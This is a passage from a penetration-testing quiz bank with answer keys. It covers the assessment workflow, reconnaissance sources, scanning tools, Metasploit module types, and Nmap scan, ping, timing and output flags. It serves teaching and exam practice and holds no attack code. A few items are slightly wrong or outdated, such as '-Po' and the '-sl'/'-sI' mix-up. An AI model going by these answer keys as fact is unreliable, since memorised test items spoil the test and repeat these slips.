Answer: A. Nessus

Why: The lecture states that Nessus provides descriptions and solutions.

Source page reference: p. 40

Q215 | Scenario

An analyst wants an automated assessment tool described as a Nessus fork with a web interface. Which tool is the best fit?

- A. Netcraft
- B. OpenVAS by Greenbone / GVM
- C. Legion
- D. Burp Suite

Answer: B. OpenVAS by Greenbone / GVM

Why: This description matches GVM.

Source page reference: p. 39

Q216 | Scenario

An attacker uses a fake bank page to collect account details. Which term best fits?

- A. Phishing
- B. Normal output
- C. FIN scan
- D. WHOIS lookup

Answer: A. Phishing

Why: Fake websites used to collect sensitive details are phishing.

Source page reference: p. 41

Q217 | Scenario

A Metasploit module contains code intended to run remotely. Which module type is it?

- A. Registrar
- B. Payload
- C. Exploit
- D. Auxiliary

Answer: B. Payload

Why: Payloads consist of remotely running code.

Source page reference: p. 43

Q218 | EXCEPT / NOT

Which option is NOT a passive-reconnaissance source?

- A. Discussion boards
- B. Chat rooms
- C. Nmap SYN scanning
- D. archive.org

Answer: C. Nmap SYN scanning

Why: Nmap scanning actively interacts with the target.

Source page reference: p. 11

Q219 | EXCEPT / NOT

Which option is NOT a risk condition for an exposed service?

- A. The service is appropriately secured and documented
- B. The service is vulnerable
- C. The service is exposed to an untrusted network
- D. The service is misconfigured

Answer: A. The service is appropriately secured and documented

Why: A properly secured documented service is not automatically risky merely because it exists.

Source page reference: p. 12

Q220 | EXCEPT / NOT

Which option is NOT one of the three Metasploit Metasploit module categories?

- A. Auxiliary
- B. Exploits
- C. Payloads
- D. DNS registrar

Answer: D. DNS registrar

Why: The lecture introduces auxiliary, exploits, and payloads.

Source page reference: p. 43

Q221 | EXCEPT / NOT

Which Nmap flag does NOT select an output format?

- A. -oN
- B. -oG
- C. -sS
- D. -oX

Answer: C. -sS

Why: -sS selects SYN scanning rather than an output format.

Source page reference: p. 34

Q222 | EXCEPT / NOT

Which Nmap flag does NOT select a timing template?

- A. -sV
- B. -T2
- C. -T0
- D. -T4

Answer: A. -sV

Why: `-sV` performs version detection.

Source page reference: pp. 28, 34

Q223 | Select all that apply

Which statements about SYN scanning are correct? Select all that apply.

- A. It sends SYN requests.
- B. It does not complete the TCP handshake.
- C. It can use SYN-ACK responses to determine port state.
- D. IDS or firewall logging may reveal it.
- E. It is passive reconnaissance with no target interaction.

Answer: A, B, C, D

Why: SYN scanning is active and stealthier, but still potentially detectable.

Source page reference: p. 29

Q224 | Select all that apply

Which statements about FIN scanning are correct? Select all that apply.

- A. It sends a FIN packet.
- B. A non-listening port returns RST in the lecture description.
- C. An open port may drop the packet.
- D. IDS or firewalls may still reveal it.
- E. It completes a full TCP handshake.

Answer: A, B, C, D

Why: The FIN scan avoids a normal full TCP handshake.

Source page reference: p. 30

Q225 | Select all that apply

Which statements about vulnerability assessment are correct? Select all that apply.

- A. It investigates hosts and services.
- B. It investigates possible vulnerabilities.
- C. It can use service versions to support research.
- D. Every open port is automatically a vulnerability.
- E. Tools can accelerate the process.

Answer: A, B, C, E

Why: Assessment investigates context and possible weaknesses; open ports are not automatically vulnerabilities.

Source page reference: pp. 8, 10, 12

Q226 | Workflow variant

which workflow stage matches this task? Confirm that the assessment is authorized before interacting with the target.

- A. Threat modelling
- B. Gathering information
- C. Getting permission
- D. Vulnerability analysis

Answer: C. Getting permission

Why: The matching workflow stage is Getting permission.

Source page reference: p. 7

Q227 | Workflow variant

an authorized assessor is at the `Getting permission` stage. Which activity best matches it?

- A. Confirm that the assessment is authorized before interacting with the target.
- B. Connect collected intelligence to possible vulnerabilities.
- C. Collect information about the company, IP addresses, websites, hosts, services, and fingerprints.
- D. Clarify what the penetration test covers and what may go wrong.

Answer: A. Confirm that the assessment is authorized before interacting with the target.

Why: The getting permission stage has this purpose.

Source page reference: p. 7

Q228 | Workflow variant

which workflow stage matches this task? Collect information about the company, IP addresses, websites, hosts, services, and fingerprints.

- A. Gathering information
- B. Threat modelling
- C. Vulnerability analysis
- D. Getting permission

Answer: A. Gathering information

Why: The matching workflow stage is Gathering information.

Source page reference: p. 7

Q229 | Workflow variant

an authorized assessor is at the `Gathering information` stage. Which activity best matches it?

- A. Confirm that the assessment is authorized before interacting with the target.
- B. Clarify what the penetration test covers and what may go wrong.
- C. Connect collected intelligence to possible vulnerabilities.
- D. Collect information about the company, IP addresses, websites, hosts, services, and fingerprints.

Answer: D. Collect information about the company, IP addresses, websites, hosts, services, and fingerprints.

Why: The gathering information stage has this purpose.

Source page reference: p. 7

Q230 | Workflow variant

which workflow stage matches this task? Clarify what the penetration test covers and what may go wrong.

- A. Getting permission
- B. Gathering information
- C. Vulnerability analysis
- D. Threat modelling

Answer: D. Threat modelling

Why: The matching workflow stage is Threat modelling.

Source page reference: p. 7

Q231 | Workflow variant

an authorized assessor is at the `Threat modelling` stage. Which activity best matches it?

- A. Connect collected intelligence to possible vulnerabilities.
- B. Clarify what the penetration test covers and what may go wrong.
- C. Confirm that the assessment is authorized before interacting with the target.
- D. Collect information about the company, IP addresses, websites, hosts, services, and fingerprints.

Answer: B. Clarify what the penetration test covers and what may go wrong.

Why: The threat modelling stage has this purpose.

Source page reference: p. 7

Q232 | Workflow variant

which workflow stage matches this task? Connect collected intelligence to possible vulnerabilities.

- A. Threat modelling
- B. Gathering information
- C. Getting permission
- D. Vulnerability analysis

Answer: D. Vulnerability analysis

Why: The matching workflow stage is Vulnerability analysis.

Source page reference: p. 7

Q233 | Workflow variant

an authorized assessor is at the `Vulnerability analysis` stage. Which activity best matches it?

- A. Connect collected intelligence to possible vulnerabilities.
- B. Collect information about the company, IP addresses, websites, hosts, services, and fingerprints.
- C. Clarify what the penetration test covers and what may go wrong.
- D. Confirm that the assessment is authorized before interacting with the target.

Answer: A. Connect collected intelligence to possible vulnerabilities.

Why: The vulnerability analysis stage has this purpose.

Source page reference: p. 7

Q234 | Workflow variant

which workflow stage matches this task? Carefully create a proof of concept that demonstrates a problem without harming the target.

- A. Threat modelling
- B. Gathering information
- C. Getting permission
- D. Exploitation

Answer: D. Exploitation

Why: The matching workflow stage is Exploitation.

Source page reference: p. 7

Q235 | Workflow variant

an authorized assessor is at the `Exploitation` stage. Which activity best matches it?

- A. Collect information about the company, IP addresses, websites, hosts, services, and fingerprints.
- B. Clarify what the penetration test covers and what may go wrong.
- C. Confirm that the assessment is authorized before interacting with the target.
- D. Carefully create a proof of concept that demonstrates a problem without harming the target.

Answer: D. Carefully create a proof of concept that demonstrates a problem without harming the target.

Why: The exploitation stage has this purpose.

Source page reference: p. 7

Q236 | Workflow variant

which workflow stage matches this task? Document and, where appropriate, help fix the problems.

- A. Threat modelling
- B. Gathering information
- C. Getting permission
- D. Reporting

Answer: D. Reporting

Why: The matching workflow stage is Reporting.

Source page reference: p. 7

Q237 | Workflow variant

an authorized assessor is at the `Reporting` stage. Which activity best matches it?

- A. Clarify what the penetration test covers and what may go wrong.
- B. Confirm that the assessment is authorized before interacting with the target.
- C. Collect information about the company, IP addresses, websites, hosts, services, and fingerprints.
- D. Document and, where appropriate, help fix the problems.

Answer: D. Document and, where appropriate, help fix the problems.

Why: The reporting stage has this purpose.

Source page reference: p. 7

Q238 | Recon variant

which passive source would be most relevant for information intentionally or unintentionally made available publicly?

- A. Websites and online resources
- B. Chat rooms
- C. Volunteered intelligence
- D. Discussion boards

Answer: C. Volunteered intelligence

Why: The source is Volunteered intelligence.

Source page reference: p. 11

Q239 | Recon variant

which passive source would be most relevant for public web content?

- A. Chat rooms
- B. Volunteered intelligence
- C. Websites and online resources
- D. Discussion boards

Answer: C. Websites and online resources

Why: The source is Websites and online resources.

Source page reference: p. 11

Q240 | Recon variant

which passive source would be most relevant for public forum discussions?

- A. Discussion boards
- B. Websites and online resources
- C. Volunteered intelligence
- D. Chat rooms

Answer: A. Discussion boards

Why: The source is Discussion boards.

Source page reference: p. 11

Q241 | Recon variant

which passive source would be most relevant for public or accessible discussions?

- A. Volunteered intelligence
- B. Chat rooms
- C. Discussion boards
- D. Websites and online resources

Answer: B. Chat rooms

Why: The source is Chat rooms.

Source page reference: p. 11

Q242 | Recon variant

which passive source would be most relevant for historical website content?

- A. Discussion boards
- B. Websites and online resources
- C. Volunteered intelligence
- D. archive.org

Answer: D. archive.org
Why: The source is archive.org.

Source page reference: p. 11

Q243 | Recon variant

which passive source would be most relevant for hints about technologies, infrastructure, or staffing conditions?

- A. Websites and online resources
- B. Consistent job advertisements
- C. Discussion boards
- D. Volunteered intelligence

Answer: B. Consistent job advertisements
Why: The source is Consistent job advertisements.

Source page reference: p. 11

Q244 | Recon variant

which active tool is associated with information discovery?

- A. Nessus
- B. Nmap
- C. Burp Suite
- D. OWASP ZAP

Answer: B. Nmap
Why: The tool is Nmap.

Source page reference: p. 11

Q245 | Recon variant

which active tool is associated with vulnerability assessment?

- A. Burp Suite
- B. Nessus
- C. Nmap
- D. OWASP ZAP

Answer: B. Nessus
Why: The tool is Nessus.

Source page reference: p. 11

Q246 | Recon variant

which active tool is associated with web scanning or web-attack assessment?

- A. Nessus
- B. Burp Suite
- C. Nmap
- D. OWASP ZAP

Answer: B. Burp Suite

Why: The tool is Burp Suite.

Source page reference: p. 11

Q247 | Recon variant

which active tool is associated with web scanning?

- A. Burp Suite
- B. OWASP ZAP
- C. Nessus
- D. Nmap

Answer: B. OWASP ZAP

Why: The tool is OWASP ZAP.

Source page reference: p. 11

Q248 | Nmap flag variant

select the Nmap flag for TCP connect scan.

- A. -sS
- B. -sT
- C. -sF
- D. -sV

Answer: B. -sT

Why: -sT selects tcp connect scan.

Source page reference: p. 28

Q249 | Nmap flag variant

identify the meaning of the Nmap flag `-sT`.

- A. TCP connect scan
- B. FIN scan
- C. SYN scan
- D. Version scan

Answer: A. TCP connect scan

Why: -sT selects tcp connect scan.

Source page reference: p. 28

Q250 | Nmap flag variant

select the Nmap flag for Version scan.

- A. -sF
- B. -sV
- C. -sT
- D. -sS

Answer: B. -sV

Why: -sV selects version scan.

Source page reference: p. 28

Q251 | Nmap flag variant

identify the meaning of the Nmap flag `-sV`.

- A. SYN scan
- B. FIN scan
- C. Version scan
- D. TCP connect scan

Answer: C. Version scan

Why: -sV selects version scan.

Source page reference: p. 28

Q252 | Nmap flag variant

select the Nmap flag for SYN scan.

- A. -sV
- B. -sT
- C. -sS
- D. -sF

Answer: C. -sS

Why: -sS selects syn scan.

Source page reference: p. 29

Q253 | Nmap flag variant

identify the meaning of the Nmap flag `-sS`.

- A. FIN scan
- B. TCP connect scan
- C. SYN scan
- D. Version scan

Answer: C. SYN scan

Why: -sS selects syn scan.

Source page reference: p. 29

Q254 | Nmap flag variant

select the Nmap flag for FIN scan.

- A. -sT
- B. -sF
- C. -sS
- D. -sV

Answer: B. -sF

Why: -sF selects fin scan.

Source page reference: p. 30

Q255 | Nmap flag variant

identify the meaning of the Nmap flag `-sF`.

- A. Version scan
- B. FIN scan
- C. TCP connect scan
- D. SYN scan

Answer: B. FIN scan

Why: -sF selects fin scan.

Source page reference: p. 30

Q256 | Nmap flag variant

select the Nmap flag for UDP scan.

- A. -sV
- B. -sU
- C. -sS
- D. -sT

Answer: B. -sU

Why: -sU selects udp scan.

Source page reference: p. 33

Q257 | Nmap flag variant

identify the meaning of the Nmap flag `-sU`.

- A. UDP scan
- B. Version scan
- C. SYN scan
- D. TCP connect scan

Answer: A. UDP scan

Why: -sU selects udp scan.

Source page reference: p. 33

Q258 | Nmap flag variant

select the Nmap flag for Xmas scan.

- A. -sV
- B. -sS
- C. -sX
- D. -sT

Answer: C. -sX

Why: -sX selects xmas scan.

Source page reference: p. 34

Q259 | Nmap flag variant

identify the meaning of the Nmap flag `-sX`.

- A. Version scan
- B. TCP connect scan
- C. Xmas scan
- D. SYN scan

Answer: C. Xmas scan

Why: -sX selects xmas scan.

Source page reference: p. 34

Q260 | Nmap flag variant

select the Nmap flag for Null scan.

- A. -sS
- B. -sT
- C. -sV
- D. -sN

Answer: D. -sN

Why: -sN selects null scan.

Source page reference: p. 34

Q261 | Nmap flag variant

identify the meaning of the Nmap flag `-sN`.

- A. Version scan
- B. Null scan
- C. TCP connect scan
- D. SYN scan

Answer: B. Null scan

Why: -sN selects null scan.

Source page reference: p. 34

Q262 | Nmap flag variant

select the Nmap flag for Protocol scan.

- A. -sT
- B. -sV
- C. -sS
- D. -sO

Answer: D. -sO

Why: -sO selects protocol scan.

Source page reference: p. 34

Q263 | Nmap flag variant

identify the meaning of the Nmap flag `-sO`.

- A. Version scan
- B. Protocol scan
- C. TCP connect scan
- D. SYN scan

Answer: B. Protocol scan

Why: -sO selects protocol scan.

Source page reference: p. 34

Q264 | Nmap flag variant

select the Nmap flag for ACK scan.

- A. -sS
- B. -sT
- C. -sV
- D. -sA

Answer: D. -sA

Why: -sA selects ack scan.

Source page reference: p. 34

Q265 | Nmap flag variant

identify the meaning of the Nmap flag `-sA`.

- A. TCP connect scan
- B. ACK scan
- C. Version scan
- D. SYN scan

Answer: B. ACK scan

Why: -sA selects ack scan.

Source page reference: p. 34

Q266 | Nmap flag variant

select the Nmap flag for TCP Window scan.

- A. -sV
- B. -sW
- C. -sT
- D. -sS

Answer: B. -sW

Why: -sW selects tcp window scan.

Source page reference: p. 34

Q267 | Nmap flag variant

identify the meaning of the Nmap flag `-sW`.

- A. Version scan
- B. SYN scan
- C. TCP connect scan
- D. TCP Window scan

Answer: D. TCP Window scan

Why: -sW selects tcp window scan.

Source page reference: p. 34

Q268 | Nmap flag variant

select the Nmap flag for RPC scan.

- A. -sS
- B. -sV
- C. -sT
- D. -sR

Answer: D. -sR

Why: -sR selects rpc scan.

Source page reference: p. 34

Q269 | Nmap flag variant

identify the meaning of the Nmap flag `-sR`.

- A. SYN scan
- B. Version scan
- C. TCP connect scan
- D. RPC scan

Answer: D. RPC scan

Why: -sR selects rpc scan.

Source page reference: p. 34

Q270 | Nmap flag variant

select the Nmap flag for List or DNS scan.

- A. -sT
- B. -sL
- C. -sS
- D. -sV

Answer: B. -sL

Why: -sL selects list or dns scan.

Source page reference: p. 34

Q271 | Nmap flag variant

identify the meaning of the Nmap flag `-sL`.

- A. TCP connect scan
- B. Version scan
- C. SYN scan
- D. List or DNS scan

Answer: D. List or DNS scan

Why: -sL selects list or dns scan.

Source page reference: p. 34

Q272 | Nmap flag variant

select the Nmap flag for Idle scan.

- A. -sV
- B. -sI
- C. -sT
- D. -sS

Answer: B. -sI

Why: -sI selects idle scan.

Source page reference: p. 34

Q273 | Nmap flag variant

identify the meaning of the Nmap flag `-sI`.

- A. TCP connect scan
- B. Version scan
- C. SYN scan
- D. Idle scan

Answer: D. Idle scan

Why: -sI selects idle scan.

Source page reference: p. 34

Q274 | Output variant

which output option is used for `Normal output`?

- A. -oG
- B. -oA
- C. -oN
- D. -oX

Answer: C. -oN

Why: -oN is correct.

Source page reference: p. 34

Q275 | Output variant

which output option is used for `XML output`?

- A. -oN
- B. -oX
- C. -oA
- D. -oG

Answer: B. -oX

Why: -oX is correct.

Source page reference: p. 34

Q276 | Output variant

which output option is used for `Grepable output`?

- A. -oX
- B. -oA
- C. -oN
- D. -oG

Answer: D. -oG

Why: -oG is correct.

Source page reference: p. 34

Q277 | Output variant

which output option is used for `All three output formats: normal.nmap, XML, and grepable.gnmap`?

- A. -oA
- B. -oX
- C. -oN
- D. -oG

Answer: A. -oA

Why: -oA is correct.

Source page reference: p. 34

Q278 | Probe variant

which flag corresponds to `Do not ping, `?

- A. -PT
- B. -PS
- C. -PI
- D. -Po

Answer: D. -Po

Why: -Po is the lecture-summary flag.

Source page reference: p. 34

Q279 | Probe variant

which flag corresponds to `TCP ping`?

- A. -PS
- B. -PI
- C. -PT
- D. -Po

Answer: C. -PT

Why: -PT is the lecture-summary flag.

Source page reference: p. 34

Q280 | Probe variant

which flag corresponds to `SYN ping`?

- A. -Po
- B. -PS
- C. -PT
- D. -PI

Answer: B. -PS

Why: -PS is the lecture-summary flag.

Source page reference: p. 34

Q281 | Probe variant

which flag corresponds to `ICMP ping`?

- A. -Po
- B. -PS
- C. -PT
- D. -PI

Answer: D. -PI

Why: -PI is the lecture-summary flag.

Source page reference: p. 34

Q282 | Probe variant

which flag corresponds to `TCP and ICMP ping`?

- A. -PT
- B. -PS
- C. -Po
- D. -PB

Answer: D. -PB

Why: -PB is the lecture-summary flag.

Source page reference: p. 34

Q283 | Probe variant

which flag corresponds to `ICMP netmask`?

- A. -Po
- B. -PS
- C. -PT
- D. -PM

Answer: D. -PM

Why: -PM is the lecture-summary flag.

Source page reference: p. 34

Q284 | Timing variant

which timing template is `paranoid`?

- A. -T0
- B. -T1
- C. -T3
- D. -T2

Answer: A. -T0

Why: -T0 is labelled paranoid.

Source page reference: p. 34

Q285 | Timing variant

what timing label belongs to `-T0`?

- A. paranoid
- B. polite
- C. sneaking
- D. normal

Answer: A. paranoid

Why: -T0 is labelled paranoid.

Source page reference: p. 34

Q286 | Timing variant

which timing template is `sneaking`?

- A. -T0
- B. -T2
- C. -T3
- D. -T1

Answer: D. -T1

Why: -T1 is labelled sneaking.

Source page reference: p. 34

Q287 | Timing variant

what timing label belongs to `-T1`?

- A. polite
- B. normal
- C. paranoid
- D. sneaking

Answer: D. sneaking

Why: -T1 is labelled sneaking.

Source page reference: p. 34

Q288 | Timing variant

which timing template is `polite`?

- A. -T0
- B. -T2
- C. -T1
- D. -T3

Answer: B. -T2

Why: -T2 is labelled polite.

Source page reference: p. 34

Q289 | Timing variant

what timing label belongs to `-T2`?

- A. sneaking
- B. paranoid
- C. polite
- D. normal

Answer: C. polite

Why: -T2 is labelled polite.

Source page reference: p. 34

Q290 | Timing variant

which timing template is `normal`?

- A. -T1
- B. -T2
- C. -T3
- D. -T0

Answer: C. -T3

Why: -T3 is labelled normal.

Source page reference: p. 34

Q291 | Timing variant

what timing label belongs to `-T3`?

- A. polite
- B. paranoid
- C. normal
- D. sneaking

Answer: C. normal

Why: -T3 is labelled normal.

Source page reference: p. 34

Q292 | Timing variant

which timing template is `aggressive`?

- A. -T4
- B. -T1
- C. -T2
- D. -T0

Answer: A. -T4

Why: -T4 is labelled aggressive.

Source page reference: p. 34

Q293 | Timing variant

what timing label belongs to `-T4`?

- A. sneaking
- B. aggressive
- C. paranoid
- D. polite

Answer: B. aggressive

Why: -T4 is labelled aggressive.

Source page reference: p. 34

Q294 | Timing variant

which timing template is `insane`?

- A. -T1
- B. -T2
- C. -T0
- D. -T5

Answer: D. -T5

Why: -T5 is labelled insane.

Source page reference: p. 34

Q295 | Timing variant

what timing label belongs to `-T5`?

- A. paranoid
- B. polite
- C. sneaking
- D. insane

Answer: D. insane

Why: -T5 is labelled insane.

Source page reference: p. 34

Q296 | Tool variant

which tool matches this description? A comprehensive list of commercial and open-source tools with varying capabilities

- A. Burp Suite
- B. Legion
- C. OpenVAS by Greenbone / GVM
- D. OWASP vulnerability-scanning-tools list

Answer: D. OWASP vulnerability-scanning-tools list

Why: The matching tool is OWASP vulnerability-scanning-tools list.

Source page reference: pp. 36-40

Q297 | Tool variant

which tool matches this description? A tool for automating assessments that includes Python scripts, a UI, and many external tools

- A. Legion
- B. OWASP vulnerability-scanning-tools list
- C. Burp Suite
- D. OpenVAS by Greenbone / GVM

Answer: A. Legion

Why: The matching tool is Legion.

Source page reference: pp. 36-40

Q298 | Tool variant

which tool matches this description? A tool for web attack or web-application assessment

- A. OpenVAS by Greenbone / GVM
- B. Legion
- C. Burp Suite
- D. OWASP vulnerability-scanning-tools list

Answer: C. Burp Suite

Why: The matching tool is Burp Suite.

Source page reference: pp. 36-40

Q299 | Tool variant

which tool matches this description? A tool for automating assessments, described as a fork of Nessus with a web interface

- A. OpenVAS by Greenbone / GVM
- B. Burp Suite
- C. OWASP vulnerability-scanning-tools list
- D. Legion

Answer: A. OpenVAS by Greenbone / GVM

Why: The matching tool is OpenVAS by Greenbone / GVM.

Source page reference: pp. 36-40

Q300 | Tool variant

which tool matches this description? A vulnerability-assessment tool that provides a description of a vulnerability and a solution and supports authenticated scans

- A. OWASP vulnerability-scanning-tools list
- B. Nessus
- C. Burp Suite
- D. Legion

Answer: B. Nessus

Why: The matching tool is Nessus.

Source page reference: pp. 36-40

Q301 | Metasploit variant

which Metasploit module category matches this description? Includes port scanners, fuzzers, sniffers, spoofers, and more

- A. Auxiliary
- B. Registrar
- C. Payloads
- D. Exploits

Answer: A. Auxiliary

Why: The matching category is Auxiliary.

Source page reference: p. 43

Q302 | Metasploit variant

which Metasploit module category matches this description? Modules that use payloads

- A. Registrar
- B. Payloads
- C. Exploits
- D. Auxiliary

Answer: C. Exploits

Why: The matching category is Exploits.

Source page reference: p. 43

Q303 | Metasploit variant

which Metasploit module category matches this description? Code that runs remotely

- A. Payloads
- B. Registrar
- C. Exploits
- D. Auxiliary

Answer: A. Payloads

Why: The matching category is Payloads.

Source page reference: p. 43

Q304 | Option-list variant

what does `-O` mean?

- A. perform a SYN scan
- B. detect an operating system
- C. perform ping-host discovery as listed on the option summary
- D. perform a TCP connect scan

Answer: B. detect an operating system

Why: `-O` is used to detect an operating system.

Source page reference: p. 34

Q305 | Option-list variant

which flag is used to detect an operating system?

- A. -sT
- B. -sP
- C. -O
- D. -sS

Answer: C. -O

Why: `-O` is the matching flag.

Source page reference: p. 34

Q306 | Option-list variant

what does `-sP` mean?

- A. perform a SYN scan
- B. perform a TCP connect scan
- C. perform ping-host discovery as listed on the option summary
- D. detect an operating system

Answer: C. perform ping-host discovery as listed on the option summary

Why: `-sP` is used to perform ping-host discovery as listed on the option-summary slide.

Source page reference: p. 34

Q307 | Option-list variant

which flag is used to perform ping-host discovery?

- A. -sS
- B. -sT
- C. -O
- D. -sP

Answer: D. -sP

Why: `-sP` is the matching flag.

Source page reference: p. 34

Q308 | Option-list variant

what does `-sT` mean?

- A. perform ping-host discovery as listed on the option summary
- B. detect an operating system
- C. perform a SYN scan
- D. perform a TCP connect scan

Answer: D. perform a TCP connect scan

Why: `-sT` is used to perform a TCP connect scan.

Source page reference: p. 34

Q309 | Option-list variant

which flag is used to perform a TCP connect scan?

- A. -sP
- B. -sT
- C. -sS
- D. -O

Answer: B. -sT

Why: `-sT` is the matching flag.

Source page reference: p. 34

Q310 | Option-list variant

what does `-sS` mean?

- A. perform a SYN scan
- B. perform a TCP connect scan
- C. perform ping-host discovery as listed on the option summary
- D. detect an operating system

Answer: A. perform a SYN scan

Why: `-sS` is used to perform a SYN scan.

Source page reference: p. 34

Q311 | Option-list variant

which flag is used to perform a SYN scan?

- A. -O
- B. -sT
- C. -sP
- D. -sS

Answer: D. -sS

Why: `-sS` is the matching flag.

Source page reference: p. 34

Q312 | Option-list variant

what does `-sF` mean?

- A. perform ping-host discovery as listed on the option summary
- B. perform a TCP connect scan
- C. detect an operating system
- D. perform a FIN scan

Answer: D. perform a FIN scan

Why: `-sF` is used to perform a FIN scan.

Source page reference: p. 34

Q313 | Option-list variant

which flag is used to perform a FIN scan?

- A. -O
- B. -sP
- C. -sT
- D. -sF

Answer: D. -sF

Why: `-sF` is the matching flag.

Source page reference: p. 34

Q314 | Option-list variant

what does `-sX` mean?

- A. perform an Xmas scan
- B. detect an operating system
- C. perform ping-host discovery as listed on the option summary
- D. perform a TCP connect scan

Answer: A. perform an Xmas scan

Why: `-sX` is used to perform an Xmas scan.

Source page reference: p. 34

Q315 | Option-list variant

which flag is used to perform an Xmas scan?

- A. -sT
- B. -O
- C. -sP
- D. -sX

Answer: D. -sX

Why: `-sX` is the matching flag.

Source page reference: p. 34

Q316 | Option-list variant

what does `-sN` mean?

- A. perform ping-host discovery as listed on the option summary
- B. perform a TCP connect scan
- C. detect an operating system
- D. perform a null scan

Answer: D. perform a null scan

Why: `-sN` is used to perform a null scan.

Source page reference: p. 34

Q317 | Option-list variant

which flag is used to perform a null scan?

- A. -sP
- B. -sT
- C. -sN
- D. -O

Answer: C. -sN

Why: `-sN` is the matching flag.

Source page reference: p. 34

Q318 | Option-list variant

what does `-sU` mean?

- A. perform ping-host discovery as listed on the option summary
- B. perform a TCP connect scan
- C. detect an operating system
- D. perform a UDP scan

Answer: D. perform a UDP scan

Why: `-sU` is used to perform a UDP scan.

Source page reference: p. 34

Q319 | Option-list variant

which flag is used to perform a UDP scan?

- A. -sU
- B. -sT
- C. -sP
- D. -O

Answer: A. -sU

Why: `-sU` is the matching flag.

Source page reference: p. 34

Q320 | Option-list variant

what does `-sO` mean?

- A. perform a protocol scan
- B. detect an operating system
- C. perform a TCP connect scan
- D. perform ping-host discovery as listed on the option summary

Answer: A. perform a protocol scan

Why: `-sO` is used to perform a protocol scan.

Source page reference: p. 34

Q321 | Option-list variant

which flag is used to perform a protocol scan?

- A. -sP
- B. -sO
- C. -O
- D. -sT

Answer: B. -sO

Why: `-sO` is the matching flag.

Source page reference: p. 34

Q322 | Option-list variant

what does `-sA` mean?

- A. perform a TCP connect scan
- B. perform an ACK scan
- C. detect an operating system
- D. perform ping-host discovery as listed on the option summary

Answer: B. perform an ACK scan

Why: `-sA` is used to perform an ACK scan.

Source page reference: p. 34

Q323 | Option-list variant

which flag is used to perform an ACK scan?

- A. -O
- B. -sA
- C. -sT
- D. -sP

Answer: B. -sA

Why: `-sA` is the matching flag.

Source page reference: p. 34

Q324 | Option-list variant

what does `-sW` mean?

- A. detect an operating system
- B. perform a TCP connect scan
- C. perform ping-host discovery as listed on the option summary
- D. perform a TCP Window scan

Answer: D. perform a TCP Window scan

Why: `-sW` is used to perform a TCP Window scan.

Source page reference: p. 34

Q325 | Option-list variant

which flag is used to perform a TCP Window scan?

- A. -sT
- B. -sW
- C. -sP
- D. -O

Answer: B. -sW

Why: `-sW` is the matching flag.

Source page reference: p. 34

Q326 | Option-list variant

what does `-sR` mean?

- A. perform ping-host discovery as listed on the option summary
- B. detect an operating system
- C. perform an RPC scan
- D. perform a TCP connect scan

Answer: C. perform an RPC scan

Why: `-sR` is used to perform an RPC scan.

Source page reference: p. 34

Q327 | Option-list variant

which flag is used to perform an RPC scan?

- A. -O
- B. -sR
- C. -sP
- D. -sT

Answer: B. -sR

Why: `-sR` is the matching flag.

Source page reference: p. 34

Q328 | Option-list variant

what does `-sL` mean?

- A. perform a TCP connect scan
- B. detect an operating system
- C. perform ping-host discovery as listed on the option summary
- D. perform a list or DNS scan

Answer: D. perform a list or DNS scan

Why: `-sL` is used to perform a list or DNS scan.

Source page reference: p. 34

Q329 | Option-list variant

which flag is used to perform a list or DNS scan?

- A. -sT
- B. -O
- C. -sL
- D. -sP

Answer: C. -sL

Why: `-sL` is the matching flag.

Source page reference: p. 34

Q330 | Option-list variant

what does `-sl` mean?

- A. perform ping-host discovery as listed on the option summary
- B. perform a TCP connect scan
- C. detect an operating system
- D. perform an idle scan

Answer: D. perform an idle scan

Why: `-sl` is used to perform an idle scan.

Source page reference: p. 34

Q331 | Option-list variant

which flag is used to perform an idle scan?

- A. -sP
- B. -O
- C. -sT
- D. -sI

Answer: D. -sI

Why: `-sI` is the matching flag.

Source page reference: p. 34

Q332 | Option-list variant

what does `-Po` mean?

- A. perform ping-host discovery as listed on the option summary
- B. perform a TCP connect scan
- C. avoid ping as listed on the summary slide
- D. detect an operating system

Answer: C. avoid ping as listed on the summary slide

Why: `-Po` is used to avoid ping as listed on the lecture-summary slide.

Source page reference: p. 34

Q333 | Option-list variant

which flag is used to avoid ping?

- A. -O
- B. -sT
- C. -sP
- D. -Po

Answer: D. -Po

Why: `-Po` is the matching flag.

Source page reference: p. 34

Q334 | Option-list variant

what does `-PT` mean?

- A. perform ping-host discovery as listed on the option summary
- B. perform a TCP ping
- C. perform a TCP connect scan
- D. detect an operating system

Answer: B. perform a TCP ping

Why: `-PT` is used to perform a TCP ping.

Source page reference: p. 34

Q335 | Option-list variant

which flag is used to perform a TCP ping?

- A. -PT
- B. -sP
- C. -O
- D. -sT

Answer: A. -PT

Why: `-PT` is the matching flag.

Source page reference: p. 34

Q336 | Option-list variant

what does `-PS` mean?

- A. perform ping-host discovery as listed on the option summary
- B. detect an operating system
- C. perform a TCP connect scan
- D. perform a SYN ping

Answer: D. perform a SYN ping

Why: `-PS` is used to perform a SYN ping.

Source page reference: p. 34

Q337 | Option-list variant

which flag is used to perform a SYN ping?

- A. -sP
- B. -sT
- C. -O
- D. -PS

Answer: D. -PS

Why: `-PS` is the matching flag.

Source page reference: p. 34

Q338 | Option-list variant

what does `-PI` mean?

- A. perform a TCP connect scan
- B. detect an operating system
- C. perform an ICMP ping
- D. perform ping-host discovery as listed on the option summary

Answer: C. perform an ICMP ping

Why: `-PI` is used to perform an ICMP ping.

Source page reference: p. 34

Q339 | Option-list variant

which flag is used to perform an ICMP ping?

- A. -PI
- B. -sT
- C. -O
- D. -sP

Answer: A. -PI

Why: `-PI` is the matching flag.

Source page reference: p. 34

Q340 | Option-list variant

what does `-PB` mean?

- A. detect an operating system
- B. perform a TCP and ICMP ping
- C. perform a TCP connect scan
- D. perform ping-host discovery as listed on the option summary

Answer: B. perform a TCP and ICMP ping

Why: `-PB` is used to perform a TCP and ICMP ping.

Source page reference: p. 34

Q341 | Option-list variant

which flag is used to perform a TCP and ICMP ping?

- A. -sP
- B. -O
- C. -PB
- D. -sT

Answer: C. -PB

Why: `-PB` is the matching flag.

Source page reference: p. 34

Q342 | Option-list variant

what does `-PM` mean?

- A. perform ping-host discovery as listed on the option summary
- B. perform an ICMP netmask request
- C. detect an operating system
- D. perform a TCP connect scan

Answer: B. perform an ICMP netmask request
Why: `-PM` is used to perform an ICMP netmask request.

Source page reference: p. 34

Q343 | Option-list variant

which flag is used to perform an ICMP netmask request?

- A. -PM
- B. -sT
- C. -sP
- D. -O

Answer: A. -PM
Why: `-PM` is the matching flag.

Source page reference: p. 34

Q344 | Option-list variant

what does `-oN` mean?

- A. write normal output
- B. perform a TCP connect scan
- C. detect an operating system
- D. perform ping-host discovery as listed on the option summary

